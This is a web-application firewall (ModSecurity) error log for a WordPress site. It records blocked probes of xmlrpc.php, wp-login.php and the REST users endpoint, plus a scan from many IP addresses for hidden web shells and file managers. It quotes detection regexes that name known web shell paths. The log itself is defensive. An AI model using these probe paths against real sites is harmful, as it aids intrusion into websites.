[Sat Feb 28 16:35:04.000152 2026] [:error] [pid 39292:tid 39299] [client 138.199.35.10:52532] [client 138.199.35.10] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaKot6IAO5fN7BxyqcEX9AAAAMU"]
[Sat Feb 28 16:35:05.415613 2026] [:error] [pid 39292:tid 39302] [client 138.199.35.10:52532] [client 138.199.35.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.35.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaKouaIAO5fN7BxyqcEX9gAAAMg"]
[Sat Feb 28 16:35:07.126766 2026] [:error] [pid 39184:tid 39226] [client 138.199.35.10:37778] [client 138.199.35.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.35.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaKou1tZF9Zd_U7easAkAwAAAEc"]
[Sat Feb 28 16:35:08.853368 2026] [:error] [pid 22194:tid 22203] [client 138.199.35.10:37786] [client 138.199.35.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.35.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaKovH6mbajs3bzQGytxygAAAUc"]
[Sat Feb 28 16:35:10.557529 2026] [:error] [pid 11791:tid 11807] [client 138.199.35.10:37790] [client 138.199.35.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.35.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaKovmuX5e1Q32gqxH11kQAAAQ4"]
[Sat Feb 28 16:35:12.256465 2026] [:error] [pid 49763:tid 49776] [client 138.199.35.10:37800] [client 138.199.35.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.35.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaKowLTHSOG_yf2PpqHuBgAAAco"]
[Sat Feb 28 16:35:12.256654 2026] [:error] [pid 49763:tid 49776] [client 138.199.35.10:37800] [client 138.199.35.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 138.199.35.10, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaKowLTHSOG_yf2PpqHuBgAAAco"]
[Sat Feb 28 17:01:02.965130 2026] [:error] [pid 39184:tid 39238] [client 43.130.110.130:43870] [client 43.130.110.130] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaKuzltZF9Zd_U7easAzQwAAAFM"]
[Sat Feb 28 17:41:22.607815 2026] [:error] [pid 11791:tid 11804] [client 185.198.240.168:33127] [client 185.198.240.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaK4QmuX5e1Q32gqxH2HmAAAAQs"]
[Sat Feb 28 17:41:29.007347 2026] [:error] [pid 52460:tid 52470] [client 45.131.195.215:38857] [client 45.131.195.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaK4SbLWOogAgHGh62S5dwAAAYc"]
[Sat Feb 28 17:41:39.556995 2026] [:error] [pid 49763:tid 49772] [client 173.239.214.181:41551] [client 173.239.214.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aaK4U7THSOG_yf2PpqEl6gAAAcY"]
[Sat Feb 28 17:41:45.415310 2026] [:error] [pid 39183:tid 39203] [client 185.198.240.159:57647] [client 185.198.240.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aaK4WRCf4HvhVePw3LZYlAAAAAs"]
[Sat Feb 28 17:41:56.231660 2026] [:error] [pid 52460:tid 52485] [client 209.87.169.161:57561] [client 209.87.169.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaK4ZLLWOogAgHGh62S6DgAAAZY"]
[Sat Feb 28 17:41:58.596833 2026] [:error] [pid 39183:tid 39207] [client 185.198.240.179:59753] [client 185.198.240.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaK4ZhCf4HvhVePw3LZY1AAAAA8"]
[Sat Feb 28 17:41:59.089718 2026] [:error] [pid 52460:tid 52476] [client 45.131.195.217:33673] [client 45.131.195.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaK4Z7LWOogAgHGh62S6FAAAAY0"]
[Sat Feb 28 17:41:59.588067 2026] [:error] [pid 39183:tid 39214] [client 185.198.240.162:54965] [client 185.198.240.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaK4ZxCf4HvhVePw3LZY1wAAABY"]
[Sat Feb 28 17:42:00.110447 2026] [:error] [pid 52460:tid 52473] [client 185.198.240.166:22895] [client 185.198.240.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaK4aLLWOogAgHGh62S6FwAAAYo"]
[Sat Feb 28 17:42:00.576285 2026] [:error] [pid 49763:tid 49778] [client 185.198.240.177:61697] [client 185.198.240.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaK4aLTHSOG_yf2PpqEmOgAAAcw"]
[Sat Feb 28 17:42:02.699298 2026] [:error] [pid 49763:tid 49772] [client 45.131.195.214:37965] [client 45.131.195.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaK4arTHSOG_yf2PpqEmTwAAAcY"]
[Sat Feb 28 17:42:06.251356 2026] [:error] [pid 39184:tid 39240] [client 209.87.169.166:36593] [client 209.87.169.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aaK4bltZF9Zd_U7easBM6AAAAFU"]
[Sat Feb 28 17:42:10.453777 2026] [:error] [pid 52460:tid 52482] [client 173.239.214.181:45031] [client 173.239.214.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaK4crLWOogAgHGh62S6UwAAAZM"]
[Sat Feb 28 17:42:12.234918 2026] [:error] [pid 39185:tid 39248] [client 185.198.240.167:31159] [client 185.198.240.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaK4dBVE-FfM89u7BQZzcgAAAII"]
[Sat Feb 28 17:42:14.746775 2026] [:error] [pid 49763:tid 49783] [client 45.131.195.216:41227] [client 45.131.195.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaK4drTHSOG_yf2PpqEmhwAAAdE"]
[Sat Feb 28 17:42:24.996572 2026] [:error] [pid 52460:tid 52479] [client 209.87.169.166:62721] [client 209.87.169.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaK4gLLWOogAgHGh62S62QAAAZA"]
[Sat Feb 28 17:42:27.432019 2026] [:error] [pid 39185:tid 39254] [client 209.87.169.168:59347] [client 209.87.169.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaK4gxVE-FfM89u7BQZzfAAAAIg"]
[Sat Feb 28 17:42:31.977603 2026] [:error] [pid 11791:tid 11794] [client 185.198.240.177:53263] [client 185.198.240.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "aaK4h2uX5e1Q32gqxH2HxgAAAQE"]
[Sat Feb 28 17:42:34.661887 2026] [:error] [pid 52460:tid 52487] [client 209.87.169.162:23641] [client 209.87.169.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aaK4irLWOogAgHGh62S7IQAAAZg"]
[Sat Feb 28 17:42:43.003140 2026] [:error] [pid 39184:tid 39234] [client 209.87.169.162:37223] [client 209.87.169.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaK4k1tZF9Zd_U7easBNIgAAAE8"]
[Sat Feb 28 17:42:46.370084 2026] [:error] [pid 52460:tid 52484] [client 185.198.240.162:59221] [client 185.198.240.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaK4lrLWOogAgHGh62S7dAAAAZU"]
[Sat Feb 28 17:42:50.119334 2026] [:error] [pid 49763:tid 49770] [client 209.87.169.169:58993] [client 209.87.169.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaK4mrTHSOG_yf2PpqEnOgAAAcQ"]
[Sat Feb 28 17:42:51.094930 2026] [:error] [pid 39183:tid 39196] [client 209.87.169.162:33981] [client 209.87.169.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaK4mxCf4HvhVePw3LZZUgAAAAQ"]
[Sat Feb 28 17:42:51.920009 2026] [:error] [pid 52460:tid 52470] [client 209.87.169.172:33521] [client 209.87.169.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaK4m7LWOogAgHGh62S7nwAAAYc"]
[Sat Feb 28 17:42:57.998273 2026] [:error] [pid 11791:tid 11808] [client 185.198.240.177:25831] [client 185.198.240.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "aaK4oWuX5e1Q32gqxH2H1AAAAQ8"]
[Sat Feb 28 17:42:58.439142 2026] [:error] [pid 39183:tid 39196] [client 185.198.240.161:39925] [client 185.198.240.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "aaK4ohCf4HvhVePw3LZZbwAAAAQ"]
[Sat Feb 28 17:42:59.032633 2026] [:error] [pid 49763:tid 49781] [client 209.87.169.172:21225] [client 209.87.169.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaK4o7THSOG_yf2PpqEnagAAAc8"]
[Sat Feb 28 17:43:13.607848 2026] [:error] [pid 39185:tid 39250] [client 209.87.169.159:58113] [client 209.87.169.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aaK4sRVE-FfM89u7BQZznQAAAIQ"]
[Sat Feb 28 17:43:19.095738 2026] [:error] [pid 52460:tid 52468] [client 185.198.240.168:52951] [client 185.198.240.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaK4t7LWOogAgHGh62S8IQAAAYU"]
[Sat Feb 28 17:43:38.473906 2026] [:error] [pid 52460:tid 52482] [client 185.198.240.168:52951] [client 185.198.240.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaK4yrLWOogAgHGh62S8ngAAAZM"]
[Sat Feb 28 17:43:42.732312 2026] [:error] [pid 39184:tid 39240] [client 185.198.240.175:40909] [client 185.198.240.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaK4zltZF9Zd_U7easBOAAAAAFU"]
[Sat Feb 28 17:43:45.833369 2026] [:error] [pid 39184:tid 39232] [client 185.198.240.175:40909] [client 185.198.240.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aaK40VtZF9Zd_U7easBOFgAAAE0"]
[Sat Feb 28 17:43:59.410365 2026] [:error] [pid 49763:tid 49790] [client 185.198.240.181:34215] [client 185.198.240.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaK437THSOG_yf2PpqEohAAAAdg"]
[Sat Feb 28 17:44:13.158517 2026] [:error] [pid 52460:tid 52463] [client 185.198.240.162:28761] [client 185.198.240.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaK47bLWOogAgHGh62S9WQAAAYA"]
[Sat Feb 28 17:44:17.359462 2026] [:error] [pid 22194:tid 22219] [client 209.87.169.156:41893] [client 209.87.169.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaK48X6mbajs3bzQGyt89gAAAVc"]
[Sat Feb 28 17:44:23.134613 2026] [:error] [pid 49763:tid 49773] [client 185.198.240.177:26847] [client 185.198.240.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-login.php"] [unique_id "aaK497THSOG_yf2PpqEpBgAAAcc"]
[Sat Feb 28 17:44:24.713096 2026] [:error] [pid 49763:tid 49787] [client 185.198.240.177:26847] [client 185.198.240.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaK4-LTHSOG_yf2PpqEpCAAAAdU"]
[Sat Feb 28 17:44:52.599660 2026] [:error] [pid 39185:tid 39252] [client 45.131.195.252:32485] [client 45.131.195.252] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaK5FBVE-FfM89u7BQZ0BAAAAIY"]
[Sat Feb 28 17:44:58.456662 2026] [:error] [pid 52460:tid 52477] [client 209.87.169.159:65177] [client 209.87.169.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaK5GrLWOogAgHGh62S-lAAAAY4"]
[Sat Feb 28 17:45:05.072895 2026] [:error] [pid 52460:tid 52476] [client 209.87.169.159:65177] [client 209.87.169.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aaK5IbLWOogAgHGh62S-wAAAAY0"]
[Sat Feb 28 17:45:07.550228 2026] [:error] [pid 49763:tid 49783] [client 185.198.240.181:65121] [client 185.198.240.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/infi.php"] [unique_id "aaK5I7THSOG_yf2PpqEpbAAAAdE"]
[Sat Feb 28 17:45:11.314347 2026] [:error] [pid 52460:tid 52487] [client 209.87.169.173:49855] [client 209.87.169.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaK5J7LWOogAgHGh62S-7AAAAZg"]
[Sat Feb 28 17:45:16.691273 2026] [:error] [pid 39184:tid 39238] [client 185.198.240.162:47011] [client 185.198.240.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaK5LFtZF9Zd_U7easBO3gAAAFM"]
